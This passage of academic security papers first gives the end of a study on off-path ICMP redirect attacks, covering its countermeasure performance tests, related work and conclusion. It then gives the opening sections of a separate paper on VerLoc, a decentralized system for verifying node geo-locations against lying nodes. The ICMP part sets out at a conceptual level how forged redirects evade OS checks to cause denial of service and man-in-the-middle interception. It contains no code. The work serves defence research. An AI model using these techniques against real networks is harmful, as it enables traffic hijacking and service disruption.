used UDP-based applications, i.e., TFTP and QUIC.

First, we evaluate our countermeasure under the scenario
of files downloading via TFTP. We set up a real testbed with
a vulnerable UDP server inside AS4538 (with 10 Gbps band-
width) and a client inside AS7494 (with 10Mbps downlink
bandwidth). The server has two gateways. One of the two
gateways is worse than the other with an additional link, and
we measure the impact of our countermeasure with three
different link latency, i.e., 3.39 milliseconds, 6.71 millisec-
onds, and 9.21 milliseconds, respectively. Initially, we set up
the server to use the sub-optimal gateway. When the ICMP
redirect mechanism is enabled for the server’s UDP traffic,
the server dynamically updates its routing to use the optimal
gateway. In contrast, when the ICMP redirect is disabled by
our countermeasure, the server always uses its default and
sub-optimal gateway.

We are able to confirm that the server protected by our coun-
termeasure will ignore ICMP redirect messages embedding a
UDP datagram, thus successfully defending the attacks. To es-
timate the incurred performance degradation due to using the
sub-optimal paths, we download video files from the server
to the client via TFTP and compare the downloading time
with and without enabling our countermeasure. Figure 13(a)
shows the time of downloading files of different sizes. It can
be seen that different link latency (i.e., 3.39 milliseconds, 6.71
milliseconds, and 9.21 milliseconds) induced due to our coun-
termeasure affects the downloading time, especially when the
file size is smaller than 100KB. The greater the link latency
is, the more time it takes to download the files. As shown
in Figure 13(b), the extra download time introduced by our
countermeasure percentage-wise is significant for small files.
This is because link latency (i.e., the RTT) usually accounts
for the majority of the time when downloading small files, and
thus the increased link latency in our countermeasure matters
significantly. However, when the files are small (100KB or
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(a) Time of downloading files with ICMP redirects enabled or not. (b) Performance loss with ICMP redirects disabled.

Figure 13: Evaluation of our countermeasure under the scenario of files downloading via TFTP.

less), the absolute time needed to download the files (see Fig-
ure 13(a)) is insignificant, much less than one second. When
the file exceeds 1MB, we see the performance loss percentage-
wise reducing quickly to 17% (or <1% when the file size is
larger than 100MB). This is because large files are insensitive
to the additional link latency introduced by our countermea-
sure, and the incurred delay accounts for the minority of the
total time to transfer the files.

Second, we evaluate the impacts of our countermeasure on
the UDP-based protocol of QUIC. The experimental setting
is as follows. A vulnerable web client inside AS132203 runs
the Chrome browser to access Google’s website. The com-
munication between the client and Google’s web server is
undertaken by the UDP-based protocol of QUIC. The client’s
bandwidth is 20Mbps, and it has two gateways. At first, we
set up the client to use the gateway in the sub-optimal path
with an extra link latency of 3.25 milliseconds, 6.36 millisec-
onds and 9.93 milliseconds, respectively. When the ICMP
redirect mechanism is enabled for the client’s UDP traffic,
it will dynamically update its routing to use the gateway in
the optimal path to access the web server. Instead, when the
ICMP redirect is disabled, the client always uses its default
and sub-optimal one.

We issue 1,000 requests from the client to the server under
different situations (i.e., ICMP redirect enabled and ICMP
redirect disabled with the latency of 3.25 milliseconds, 6.36
milliseconds and 9.93 milliseconds respectively) and then
compare the time for loading the web page. Figure 14 shows
the cumulative distribution function (CDF) of the page load-
ing time under different situations. On average, the perfor-
mance penalty (extra page loading time) is 4.92 milliseconds
(1.38%), 11.81 milliseconds (3.32%), and 26.68 (i.e., 7.51%)
milliseconds for the three setups, respectively.

In summary, we propose three different countermeasures
(i.e., network changes, protocol changes, and host changes)

to mitigate the identified attacks and show the applicable
scenarios of each countermeasure. Network operators can
choose the suitable one according to their requirements.

9 Related Work

ICMP Redirect Abusing. ICMP redirect is proposed as a
standard in RFC 792 [67] that is used by gateways to advise
hosts of better routes. However, it is also abused by attack-
ers to rewrite the routing of victim hosts. Bellovin proposed
to abuse ICMP redirect to rewrite a victim host’s gateway,
as a result manipulating the victim’s network traffic [8, 9].
However, it was considered that a redirect message must be
tied to an existing connection, and the message cannot be
used to make an unsolicited change to the victim’s routing [8].
Moreover, redirects were considered only applicable within a
limited topology [8, 9]. Recently, ICMP redirects were lever-
aged to perform side channel attacks that can infer ephemeral
port numbers used in a DNS query, leading to DNS cache
poisoning [38]. Zimperium presented “DoubleDirect” which
first redirects a victim’s DNS traffic and identifies IPs being
accessed by the victim, then it redirects the victim’s traf-
fic sending to these IPs again, thus achieving a full-duplex
MITM [89]. However, it was considered that Linux is invul-
nerable since Linux does not accept ICMP redirect messages.
We uncover a gap in ICMP legitimacy mechanism and demon-
strate that Linux systems are also severely vulnerable.

In Kulas’s talk, ICMP echoes were exploited to evade the
legitimacy check mechanism in Windows 7 and Linux sys-
tems excluding kernel version 3.6.x, and then perform ICMP
redirect attacks on LANs [41]. Actually, we measure that
Windows 7 (Windows 7 professional with SP1, SP2 and SP3)
is invulnerable to ICMP redirect messages embedded with
ICMP echoes, since Windows systems do not strictly follow
the ICMP specifications (Windows enables the ICMP redirect
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(a) Redirect enabled vs. disabled with 3.25ms. (b) Redirect enabled vs. disabled with 6.36ms. (c) Redirect enabled vs. disabled with 9.93ms.

Figure 14: The performance impact of our countermeasure on QUIC application.

mechanism by default; however, it does not respond to the
received ICMP redirect messages even if the messages are le-
gitimate [80]), and we demonstrate that Linux kernel version
3.6.x (i.e., version 3.6.0∼3.6.11) can still be compromised in
our attack. Besides, in the real world, ICMP echoes may be
blocked due to performance and security considerations [79],
resulting in the failure of the previous attack. Different from
her work, we reveal the gap in ICMP legitimacy checks and
uncover that a suite of stateless protocols is exploitable to
evade the checks. Moreover, we extend the attack to the Inter-
net for the first time and uncover a large number of vulnerable
public servers in the real world.

Actually, quite a lot of previous studies on ICMP redirect
attacks can be searched [48,56,63,85,86], including those re-
leased in technical blogs or textbooks [5,22,37,83]. However,
at present, few of these attacks can succeed on the Internet,
since they can only be performed in the early broadcast link
network [48, 56, 63, 86], or the forged ICMP redirect mes-
sages cannot pass the modern OSes’ check [5, 22, 37, 83, 85].
For example, the existence of UDP sockets will be checked,
which prevents the acceptance of the previously forged ICMP
redirect messages [5, 22, 37, 83].

Off-Path Network Traffic Manipulating. Qian et al. dis-
cussed that ICMP error messages of TTL-expired may be
exploited to terminate TCP connections, however the embed-
ded sequence number in the message must pass the check
mechanism, which is highly unlikely [68]. Facilitated by side
channels in the challenge ACK mechanism [70], Cao et al.
demonstrated that a pure off-path attacker can terminate or
poison a victim TCP connection, thus manipulating the victim
TCP traffic maliciously [14, 15]. Chen and Qian showed that
a timing side channel that exists in half-duplex IEEE 802.11
or Wi-Fi technology can also be exploited to manipulate TCP
traffic by off-path attackers [16]. Man et al. proposed that
off-path attackers can exploit the side channel in ICMP rate
limit to manipulate UDP traffic, as a result poisoning DNS
cache [50]. Feng et al. discovered a side channel in the new
mixed IPID assignment which can also be exploited to ma-
nipulate TCP traffic by off-path attackers [26,27]. The targets
of these attacks are specific to transport layer network traffic,
e.g., TCP and UDP, while the attacks we proposed will com-

promise all the traffic undertaken by the IP layer. Moreover,
most of the previous attacks have been mitigated by security
communities [14, 15, 50].

Routing hijacking in control planes (e.g., anomalous BGP
announcements [17, 62, 74] and OSPF routing table poison-
ing [57, 58, 76]) also allows off-path attackers to manipu-
late network traffic. Fortunately, security mechanisms have
been proposed to prevent those attacks [10, 11, 43]. IP frag-
mentation is also frequently exploited to manipulate network
traffic, such as DNS cache poisoning [33, 34], traffic inter-
ception [29, 30], or IDS evasion [4, 65, 75]. Several standards
have been proposed to discover path MTU, thus preventing
the abuse of IP fragmentation [24, 52, 55].

10 Conclusion

In this paper, we investigate the vulnerability in ICMP speci-
fications that can be exploited by pure off-path attackers to
evade the check mechanism. Facilitated by this vulnerability
that appears in a wide range of major OSes, we demonstrate
that ICMP redirect attacks can be revitalized to cause serious
damages in the real world. In particular, we show that a remote
off-path attacker can perform a stealthy DoS attack against
public servers on the Internet, and a large number of public
servers on the Internet are vulnerable to our attack. We also
demonstrate that if the off-path attacker and the victims reside
in the same network, the attacker may be able to construct
MITM attack via issuing forged ICMP redirect messages. We
develop different countermeasures against the attacks. The
prototype of an enhanced ICMP redirect mechanism deployed
at hosts confirms the effectiveness of our countermeasure with
limited side effects on network performance.
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Abstract
We tackle the challenge of reliably determining the geo-
location of nodes in decentralized networks, considering ad-
versarial settings and without depending on any trusted land-
marks. In particular, we consider active adversaries that con-
trol a subset of nodes, announce false locations and strate-
gically manipulate measurements. To address this problem
we propose, implement and evaluate VerLoc, a system that
allows verifying the claimed geo-locations of network nodes
in a fully decentralized manner. VerLoc securely schedules
roundtrip time (RTT) measurements between randomly cho-
sen pairs of nodes. Trilateration is then applied to the set of
measurements to verify claimed geo-locations. We evaluate
VerLoc both with simulations and in the wild using a proto-
type implementation integrated in the Nym network (currently
run by thousands of nodes). We find that VerLoc can localize
nodes in the wild with a median error of 60 km, and that in
attack simulations it is capable of detecting and filtering out
adversarial timing manipulations for network setups with up
to 20 % malicious nodes.

1 Introduction

Whenever network applications depend on specific locations
for service nodes, they also depend on truthful location in-
formation [11, 51]. As GeoIP databases are not always re-
liable [18, 37, 44], active localization approaches that use
timing measurements to derive geo-location have been pro-
posed in prior work. Systems like Spotter [31], Octant [52], or
constraint-based geo-location [21, 25, 30] send timing probes
to targets from trusted landmarks that have a known loca-
tion [13, 15]. Combining the timing measurements obtained
by the set of landmarks allows to narrow down the location of
the target. While this allows for predictions up to street-level
granularity [12,50], landmark-based systems rely on a trusted
setup. Spotter and Co. depend on accurate ground truth infor-
mation for landmark locations, as well as on honest accurate
reporting of timing measurements by the landmarks. Such sys-
tems are neither robust to malicious landmarks that lie about

their location or obtained measurements, nor to malicious tar-
gets that strategically manipulate timing measurements by,
e. g., delaying responses to certain timing probes. This makes
these solutions inadequate for decentralized settings that may
be subject to adversarial conditions.

A scheme that allows to verify geo-location in networks
in a fully decentralized manner – without relying on trusted
landmarks or measurements – can be useful in a variety of
scenarios. Here we highlight two use cases. First, overlay
anonymous communication networks such as Tor 1 and Nym 2

route user connections through relays in multiple jurisdictions
to protect against adversaries who have monitoring and co-
ercion powers within a zone of adversarial control. Location
diversity strengthens security, as it becomes harder to mon-
itor, compromise or censor the full network [48]. Ensuring
location diversity when routing a connection requires reliable
geo-location information. However, prior work demonstrates
that available solutions sometimes result in incorrect location
information, e. g., 194 out of 6042 Tor relays were found to
be in a different country than the one indicated by their GeoIP
entry [27]. We can thus see that misleading location infor-
mation is not only a theoretical possibility, and may even be
actively used to obfuscate the whereabouts of network nodes.
In addition to supporting geographic diversity, publicly veri-
fiable node locations enable other functionalities dependent
on accurate location data, such as location-aware anonymous
routing policies that reduce end-to-end latency by favouring
routes that travel a smaller distance [3, 40].

Second, location diversity is also important for resilience
purposes in peer-to-peer networks that jointly maintain a
blockchain, such as Bitcoin 3. The concentration of network
servers in certain geo-locations makes the network vulnerable
to regional events, including natural disasters [54] as well as
politically motivated interventions [8]. A method to reliably
verify peer locations in a fully decentralized manner would
enable such permissionless networks to incentivize location

1https://www.torproject.org
2https://nymtech.net
3https://bitcoin.org/
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diversification, while ensuring that malicious peers cannot
take advantage by faking their location. In particular, node
locations can serve as one of the variables in the delegation
criteria in systems based on delegated proof of stake [26].

These functionalities are compelling not just from an aca-
demic standpoint. The Nym network [14] has already inte-
grated and deployed a prototype implementation of VerLoc
that Nym mix nodes run twice a day. Nym wants to verify
node locations to be able to enable in the future: (1) routing
policy constraints to ensure routes traverse multiple juris-
dictions and better protect from nation-state adversaries, (2)
lower-latency location-aware routing, and (3) incentives for
global location diversification via rewards and delegation of
stake (e. g. premium reward rates for nodes located in ge-
ographical areas with lower node density). At the time of
writing 3460 nodes have upgraded to the VerLoc-enabled
version. We take advantage of this experimental prototype im-
plementation to collect measurements and validate VerLoc’s
performance in the wild.
Contribution. VerLoc tackles the challenge of verifying geo-
locations in a fully decentralized network without trusted au-
thorities or landmarks, where up to 20 % of the network may
be actively malicious. To do so, VerLoc uses a novel timing-
based verification algorithm that is robust to network noise
and can withstand strategic adversarial manipulation. VerLoc
securely schedules Round Trip Time (RTT) measurements so
that the adversary cannot influence randomized assignments.
Based on pairwise RTT measurements, VerLoc applies trilat-
eration to estimate the geo-location of nodes and verify their
claimed whereabouts. VerLoc uses a broadcast channel to
enable all nodes to share the information needed to verify all
geo-locations. The measurement overhead involves sending a
few thousand pings, and it remains constant as the network
grows, while the data processing and storage overhead grows
linearly with the number of nodes (by 200 B per node).

As preliminary step, we conduct an empirical study to de-
rive a realistic network propagation model that accounts for
the effects of dynamic routing, congestion, and other natu-
rally occurring noise. This propagation model enables VerLoc
to convert measured times into geographical distances while
accounting for the effects of noise on the confidence intervals.

We first assess VerLoc’s performance baseline in the ab-
sence of active adversaries, i. e., considering that all network
nodes honestly report their location and measurements. We
conduct extensive simulations to evaluate the performance
of VerLoc under different conditions and understand the ef-
fects of parameters that affect the accuracy of the results. We
present results for a challenging deployment scenario and
show that even in sub-optimal conditions VerLoc is able to
localize nodes within a median error range of 103 km and ver-
ify with accuracy 92 % the country where a node is located.
Repeating the experiments in the wild provides even better
results, with a median localization error of 60 km. We then
evaluate VerLoc against an adversary that controls a subset of

nodes, considering that malicious nodes may lie about their
location, report fake timing measurements, and even manip-
ulate pairwise measurements by delaying responses. We in-
troduce a confidence score that qualifies location verification
decisions and show that the score is effective for accurately
distinguishing between true (honest) and false (adversarial)
reported locations. We find that adversaries need to control
more than 20 % of nodes to begin to degrade the location
verification accuracy for honest nodes, and more than 30 %
to trick VerLoc into accepting fake locations.

2 Preliminaries

2.1 Problem Statement
We consider a network of servers, which we refer to as nodes,
that are geographically disperse and work together to enable
a service, e. g., the relays that constitute the Tor network or
the peers that are part of the Bitcoin network. Note that the
network may provide services to end clients that do not publi-
cize their contact and location information or take part in the
verification process. We consider that only the nodes that form
the network infrastructure participate in the VerLoc protocols.

Network nodes announce their geographical location and
conduct a limited number of pairwise RTT measurements that
they also broadcast. Based on the set of claimed locations and
pairwise measurements, VerLoc allows everyone to verify all
the claimed locations in a fully decentralized manner. VerLoc
is designed to function in an adversarial environment where
a subset of malicious nodes coordinate to claim false loca-
tions. The goal of VerLoc is to distinguish between true and
false locations with high accuracy, even in the face of random
network noise and active adversaries that control a subset of
colluding nodes. Considering an adversary that claims false
node locations and manipulates reported measurements, Ver-
Loc’s main security goals can be formulated as follows: first,
an adversarial node na at geo-location la cannot successfully
claim being at a distant location l′a (e.g., that is in a different
country); and second, honest nodes that correctly follow the
protocols and report truthful information are successful in
verifying their geo-location.
Network model. We model the network as a set of N nodes
ni with i = 1..N. Each node ni broadcasts a descriptor with its
public key pki, its network address IPi, and its geographical
location loci (ideally with an error of less than 10 km), speci-
fied by latitude and longitude. This information is periodically
broadcast and nodes are ‘committed’ to their keys, address
and location until the next update. We also assume that it is
possible for any two nodes ni and n j to communicate directly
via the Internet, i. e., the network graph is fully connected.
Broadcast channel. We assume that each node knows the
full set of N−1 other nodes, with their node descriptors (in-
cluding pki, IPi, and loci). This may be achieved in different
ways. In anonymous communication networks this informa-
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tion is typically updated in a consensus document published
every hour or few hours, while in peer-to-peer networks main-
taining blockchains the information may be continuously
updated via gossip protocols. The timing measurements col-
lected by nodes, which are needed to verify locations, must
also be broadcast to ensure public verifiability of results. Ver-
Loc thus requires a broadcast channel. We propose using a
blockchain that acts as a public, append-only log maintained
in a decentralized manner by the nodes. Note however that this
blockchain can be replaced by any technology that provides
secure broadcast with Byzantine fault-tolerance [32]. The key
security features required by VerLoc from the channel are
integrity and availability, i.e., that once uploaded, information
is publicly available to all participants and cannot be altered.
Node descriptors must be digitally signed to ensure that they
have been generated by the node associated to the descriptor’s
public key and have not been altered by others. In turn, the
list of descriptors of the nodes that constitute the network for
a period of time is jointly signed by the entities maintaining
the broadcast channel. We assume all participants can authen-
ticate the channel without being tricked into believing that a
separate channel (controlled by the adversary) is the authentic
one containing VerLoc’s information. Furthermore we assume
that it is not possible for the adversary to censor participant’s
read or write access to the channel, i.e., all nodes are able to
broadcast their descriptor and measurements, and to read the
descriptors and measurements of all the other nodes.
Epochs. We consider that nodes commit to being available at
a location for a finite amount of time. The network is updated
periodically, e. g. every few hours, with the epoch length be-
ing dependent on the expected churn in the network. Before
the start of an epoch, nodes broadcast their updated keys, ad-
dresses and locations. The VerLoc protocols run during the
epoch and produce results that enable identifying malicious
nodes and possibly excluding them from the next epoch.
Timing information. VerLoc relies on timing information
to estimate locations, using the relation between measurable
transmission times and geographical distances between nodes,
which is bound by the speed of light. More precisely, the
transmission time defines the area that can be reached within
that amount of time – with larger distances being impossible
to reach, as that would imply transmissions speeds that are
faster than light.
Timing probes. Nodes in the network probe a subset of other
nodes and measure the round trip time (RTT), i. e., the time
elapsed between sending a request and receiving a response.
These pairwise measurements do not require any central au-
thority and can be conducted using existing protocols such as
the Internet Control Message Protocol (ICMP).
Trilateration. Combining transmission times measured from
reference points situated in different directions allows to nar-
row down the location of a node. As all nodes measure various
other nodes in VerLoc, there is redundancy in the overall set
of network measurements. This redundancy allows to detect

inconsistencies created by the malicious activity of adversar-
ial nodes, as well as distortions introduced by exceptionally
bad network conditions.
Inference of geographical coordinates. Based on all the
claimed node locations and reported timing measurements,
VerLoc estimates the most likely geographical coordinates
(latitude, longitude) of each node and checks the distance to
the node’s claimed location.
Most likely geographical zone. We consider that space may
be divided into countries, regions, zones, or any other terri-
torial division, with each location (and therefore each node)
belonging to precisely one zone. In addition to the most likely
geographical coordinates, VerLoc computes the probability
that a node is located within a zone.
Confidence scores. Finally, VerLoc compares the set of empir-
ically measured propagation times with the times one would
expect given the locations claimed by all nodes and the prop-
agation model. This is used to define a confidence score that
expresses the discrepancy between expected and measured
times. A low confidence score is indicative that a node local-
ization result (coordinates as well as zone) may be wrong and
possibly malicious.

2.2 Information Propagation Model

Considering propagation speed, the transmission time be-
tween two nodes is proportional to the distance between them.
However, network effects introduce noise and variance in
the transmission speed, and consequently error when esti-
mating nodes’ locations from measured times. To provide
real-world capabilities, VerLoc must be robust to realistic lev-
els of noise and account for the actual speed function in the
underlying Internet. We conduct experiments where we mea-
sure the timings of Internet transmissions between servers
placed in different locations around the world. From these
experiments we distill a realistic propagation model that is
shown in Figure 1. The steps we took to derive this model are
explained in detail in Appendix A. Note that the propagation
model is pre-computed once and provided as a component
of VerLoc. While a better model can be created with a larger
number of measurements, once it is obtained it does not need
to be updated until the Internet infrastructure undergoes a
significant enough update to change its overall propagation
characteristics.

We find that transmission speed is, in practice, more com-
plex than a simple constant due to background noise caused by
varying transmission medium characteristics, asymmetric and
dynamic routing, congestion, and a host of other effects. As
shown in Figure 1, propagation speed and background noise
depend on end-to-end distance. By applying a fitting function,
we can model the scattered and noisy transmission speeds as
an estimate f (x) that provides us the most likely propagation
speed for a given distance x. The speed function f (x) (and
its inverse f−1(t), which converts times to distances) is used
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Figure 1: Propagation Speed Model. The scattered points
show the individual speeds of ICMP traffic RTTs; the blue
is the speed fit; the orange line summarizes the impact of
background noise.

to estimate node locations (§3.3.1) and compute confidence
scores (§3.3.3). Furthermore, the variance of observed times
for similar distances allows us to capture background noise
characteristics. We find that noise is lower for longer transmis-
sions. To account for this effect, we compute a noise weight
that we later use for localization.

Our propagation model is based on real-world data and
therefore captures the actual transmission characteristics of
the Internet. We base our simulation experiments on this
model, and thus our sampled transmission times incorporate
congestion latency and variance due to dynamic routing that
is characteristic of the Internet.

3 System Concept

In this section we introduce the architecture and core system
components of VerLoc. We explain how the measurement
component schedules the random selection of references and
the symmetric timing measurements, and how the localization
and verification component analyzes the measured timings to
produce location verification results.

3.1 System Components
As illustrated in Fig. 2, VerLoc consists of a measurement
component (green) that outputs timing measurements for se-
lected pairs of nodes, and a location verification component
(blue) that analyzes those timings to estimate the locations of
network nodes. In addition, the nodes collaboratively main-
tain a publicly accessible broadcast channel [32], allowing
all nodes to broadcast their information and access the in-
formation broadcast by others. This makes the verification
process fully decentralized, as everyone can locally compute
localization results based on broadcast data. The blockchain
stores the public network parameters, the node descriptors
(public key, IP address, claimed location), a per-epoch random
beacon, and the reported RTT measurements.

Measurements Localization and Verification

Upload Results

Measure RTTs

Schedule
Measurements

Nonce

Random
Beacon

Broadcast Channel
Select

Measurements

Analyze Timings

Estimate
Location

Verify
Zone

Rate
Confidence

Result

Figure 2: Complete measurement and analysis process. The
green part includes steps involved in conducting RTT mea-
surements, the blue part depicts the location estimation.

3.2 Measurement component

The measurement component involves three tasks that are
executed by all network nodes:

1. Schedule Measurements. In each epoch, the network
derives nodes’ reference sets, which determine the sched-
ule of pairwise measurements, using as seed a random
beacon [46] (§3.2.1).

2. Perform Measurements. Nodes conduct pairwise mea-
surements according to the scheduled reference sets by
sending timing probes and recording the observed RTT
(§3.2.2).

3. Upload Measurements. Nodes broadcast the minimum
measured RTT for each node in their reference set
(§3.2.3).

3.2.1 Schedule Measurements

VerLoc is designed to function in a fully decentralized fashion,
without relying on any trusted authorities or third parties,
and with all nodes performing the same tasks. To provide
robustness, it is crucial that the reference sets are chosen
in a way that cannot be biased by an adversary. Otherwise,
the adversary may manipulate and exploit reference sets, e. g.,
selecting adversarial reference sets to successfully verify false
locations and reject true locations. To prevent this, VerLoc
assigns reference sets pseudorandomly.

VerLoc’s reference set construction algorithm scales to ar-
bitrarily large networks while maintaining a constant (rather
than quadratic) complexity in terms of the number of mea-
surements conducted per node. As shown in Sect. 4.3, the
localization accuracy of VerLoc increases with the number of
references per node, but the improvement has diminishing re-
turns and, after a certain point, additional references consume
resources without significantly improving performance.
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We empirically determine that the best tradeoff is between
40 and 80 references per node, and use those values in our
experiments.
Reference Set Construction. Reference sets are derived from
the node’s public keys pki and a random beacon x that is
jointly computed by nodes and published in the blockchain
once all public keys have been committed. Alternatively, the
random beacon may be obtained from an external source
of randomness [29], e.g., the hash of the first bitcoin block
published after the start of the epoch. The beacon must only
become available once all nodes have committed to their
public keys and are ready for a new run of the VerLoc protocol.
The key security requirements are that the same x is available
to all nodes, and that the adversary can neither determine the
value of x, nor predict it before committing to its node public
keys. Given x, everyone can derive a random hash hi for node
i as: hi = H(x||pki), where H() is a hash function [5].

We denote as Ri the reference set of node ni. Given hi,
nodes follow Algorithm 1 to derive an initial set of t references
to be included in Ri. These t references are only a part of a

Algorithm 1 Derive initial reference set Ri for node ni

Ri := /0

y := hi
while |Ri|< t do

r := y mod N;
if r /∈ Ri and r 6= ni then

Ri.add(r)
end if
y := Hash(y)

end while
return Ri

node’s reference set Ri. In VerLoc, references are symmetric,
meaning that n j ∈ Ri ⇐⇒ ni ∈ R j. Note that n j can verify
that ni correctly selected it, using hi and Algorithm 1. Nodes
complete their reference set Ri following Algorithm 2.

Algorithm 2 Complete reference set Ri

for j = 1..N do
if n j /∈ Ri and ni ∈ R j then

Ri.add(n j)
end if

end for
return Ri

With this algorithm, the complete reference set Ri will have
a variable size depending on the instance, as it is the sum of
two components: the t references (constant number) derived
from hi, and an additional t ′ references (variable number)
that are derived from all the other h j, i 6= j. Note that the t
nodes that are already included in Ri do not add any new
reference to Ri even if ni ∈ R j. Given the network size N and

the number of references t, a new node n j /∈ Ri is added to Ri
with probability t

N , and this applies to all the N− t nodes that
are not in the initial Ri. The probability of t ′ taking a certain
value k thus follows a binomial distribution:

Pr
[
t ′ = k;N− t,

t
N

]
=

(
N− t

k

)
·
( t

N

)k
·
(

1− t
N

)N−t−k

(1)
We select the parameter t to ensure that with overwhelming

probability all N nodes have sufficient t + t ′ references.
Symmetric Measurements. We use symmetric measure-
ments for two reasons. First, they help leveling out noise and
effects of asymmetric routing, as the timing RT T (ni → n j)
might differ from RT T (n j → ni). Moreover, burst noise in
one direction does not necessarily occur in the other direction
and thus averaging both directions improves the overall ro-
bustness to noise. Second, averaging the times measured in
both directions improves the robustness of VerLoc not just to-
wards random noise, but also active attacks. In settings where
of two nodes involved in the measurement one is honest and
the other malicious, the adversary could try to report a very
short transmission time to manipulate (speed up) the average
transmission time. Similarly, the average could be slowed
down to a desired number by the adversary reporting a very
large time. However, these attempts at manipulating the av-
erage are easily detectable by the confidence score (§3.3.3).
Speeding up the average transmission means that the adver-
sary must contribute a measurement that is significantly too
fast. Overly fast transmissions (faster than 2/3 · c) violate the
upper speed bound and decrease the confidence score. Report-
ing a measurement that is significantly too slow will violate
the lower speed bound and also result in marking the measure-
ment as unreliable. This lowers the confidence score for both
the target and the adversary nodes, meaning that adversaries
that lower the confidence score of honest nodes will cause
their own confidence score to diminish in equal measure.

3.2.2 Conduct Measurements

Given a set of references Ri for node ni, VerLoc conducts
pairwise measurements RT T (ni← r j) and RT T (ni→ r j) be-
tween ni and all its reference nodes r j ∈ Ri. A node ni con-
ducts a measurement RT T (ni→ r j) by sending timing probes
to r j, to which r j responds as fast as possible, and recording
the round trip time (RTT) of the responses. In their simplest
form, timing probes can be implemented, e. g., as ICMP echo
requests.
Freshness. To guarantee freshness, the node that initiates
the timing probe includes a locally generated random nonce.
When using ICMP, it is possible to encode the nonce in the
variable-length data field. The responding node has to copy
this nonce in the response. This prevents adversaries from
speeding up measurements. More precisely, it is always pos-
sible for a node to hold back the response to incoming probes,
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increasing the RTT and faking a longer transmission distance
(§5.1). By including an unpredictable nonce, an adversarial
node cannot respond to an incoming probe before it arrives,
which eliminates the capability to fake a shorter distance. The
nonce can be hashed with a previously established shared se-
cret to protect against man-in-the-middle adversaries (§5.6).
Multiple Probes and Minimum RTT. The number of timing
probes sent between a pair of nodes to conduct one mea-
surement strikes a tradeoff between measurement accuracy
and overhead. Increasing the number of probes allows to bet-
ter overcome high-frequency, high-delta noise at the cost of
sending more messages and taking longer to complete the
protocol. As with measurements taken to infer the propaga-
tion model, nodes take the minimum RTT of all the timing
probes exchanged with another node as the least noisy value.
In our experiments we use series of 200 probes and extract
the minimum value for each RT T (ni→ n j).

3.2.3 Upload Measurements

Nodes broadcast the minimum measured RTT with each of
their references. These measurements are the input for the
localization and verification steps.

3.3 Localization and Verification

The analysis steps of VerLoc are executed by all nodes locally
using the reported RTT measurements as input. VerLoc out-
puts three types of results for each node ni: (1) an estimate of
its location coordinates l̂oci, (2) a binary verification decision
for the node’s claimed localization zone zi, and (3) a score ci
that indicates VerLoc’s confidence in the previous two results.

3.3.1 Estimate Location Coordinates

VerLoc uses a gradient descent algorithm to estimate the geo-
graphical location of ni. This optimization model is iterative
and repeats three steps (illustrated in Figure 3) until it finds an
estimated location l̂oci with minimum error. The process is
based on the principle of trilateration [24, 27, 49] and defined
as follows.
Define Candidate Location. In the first step, we compute
the pairwise great circle distances dist between the claimed
locations of nodes in the reference set r j ∈ Ri and a possible
candidate location l̂oci for node ni. Note that we assume that
most nodes are non-adversarial and claim a correct location.
The initial l̂oci is an educated guess for the location of ni that
is adjusted throughout the optimization steps to find the best
result. The resulting vector

−→
dist, of size R = |Ri|, contains the

distances between all references r j and candidate l̂oci.
Estimate Distances. We average measurements in both di-
rections to estimate the distance between ni and r j (§3.2.1).

1

n

Figure 3: Node localization process (§3.3.1). At the start of
the localization process, we collect claimed locations and tim-
ing measurements from each of the references (blue circles)
of a target node (black circle). We guess an initial location
(red circle) for the target and then apply the iterative optimiza-
tion. In the first step À, we take the distance between each
reference’s claimed location and the guessed location (black
lines). We compare this with the distance that corresponds to
the measured RTT (blue dashed line) and evaluate the discrep-
ancy between both values. In the following steps n©, we use
a gradient descent to adjust the guessed location (red circle)
until we find the solution with the least discrepancy.

RT T (ni↔ r j) =
RT T (ni→ r j)+RT T (ni← r j)

2
(2)

RT T (ni → r j) and RT T (ni ← r j) are the minimum RTTs
measured in each direction. As described in Section 2.2, we
can translate transmission time into distance by applying
the inverse speed function f−1(t). This results in a second
distance vector

−−−−→
distRT T that contains f−1(RT T (ni↔ r j)) for

r j ∈ Ri

Apply Error Function. In the third step, we compare the
candidate distances

−→
dist with the distances

−−−−→
distRT T derived

from the measured RTTs. The delta between both vectors
∆(
−→
dist,
−−−−→
distRT T ) expresses the discrepancy between the re-

ported RTTs and the candidate location l̂oci. We apply the
root-mean-square error (RMSE) as an error function to eval-
uate how consistent l̂oci is with the reported measurements.
We use an iterative optimization to minimize the RMSE for
possible values of l̂oci:

argmin
l̂oci

√
∑

R
j=1(∆ j ·ω j)2

R
(3)

∆ j = |dist(l̂oci,r j)− f−1(RT T (ni ↔ r j))| is the difference
between the candidate and the measured distances for ref-
erence r j, R is the number of references in Ri, and ω j is a
distance-dependent weighting factor that accounts for noise
effects. We derive ω j empirically as part of the propagation
model introduced in Section 2.2.
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End Result. At the end of this process, we obtain a location
estimate l̂oci that best fits the reported RTT measurements
between ni and its references.

3.3.2 Verify Zone

In localization problems, the specific geographic coordinates
are often part of an area that has a semantic significance,
e. g., a country, jurisdiction, or zone under the control of a
given actor. In this case, all the points within a zone are
considered equivalent. In addition to the coordinates that
best approximate the node’s location, VerLoc can ascertain
whether the node is located within the zone zi that contains
the claimed location loci. The process illustrated in Figure 4
consists of the following steps.
Derive Target Area. In a first step, VerLoc translates the
measured RTTs into a vector of distances. Transmission
speeds on the Internet range from 0.22 c to 0.67 c [25, 34].
In order to find the largest target area that could possibly
meet the constraints of all measurements, we use an upper
bound transmission speed of 2/3 · c to compute the distance
distmax(ni↔ r j) = 2/3 · c ·RT T (ni↔ r j).

We sort the distances in ascending order and pick the first
element in this list, i. e., the reference appearing to be closest
to the target node ni. We “draw a circle” around this first
reference of radius distmax(ni↔ r j). The circle describes the
area that could have been reached in the measured time. This
circle is an initial area where ni must be located, which is
further narrowed down with each additional reference.
Shrink Target Area. We then proceed iteratively with the
next references of the sorted list. For each reference r j, we
draw a new circle around r j of radius distmax(ni ↔ r j) and
compute the intersection with the previous circles. In this iter-
ative process, we narrow down the target area step by step and
exit the process when new references do not shrink the target
area any further. The approach is robust to network distor-
tions, as occurrences of high background noise lead to longer
distances distmax(ni↔ r j), whose resulting intersections are
not overly restrictive.
Apply Grid. In the final step, we apply a grid to the target
area resulting from all intersections. We compute a likelihood
score for each point in the grid based on ∆ j, which expresses
how consistent that point’s location is with the measured
RTTs. We normalize the scores to obtain a probability distri-
bution, and then sum the scores of the points within each zone
that overlaps with the target area. The zone that accumulates
the highest mass is then compared to the claimed zone for
the verification decision. In the example shown in Figure 5
VerLoc would output a positive zone verification if the node
has claimed to be in Italy, and negative otherwise. Note that it
is also possible for VerLoc to output the probability score of
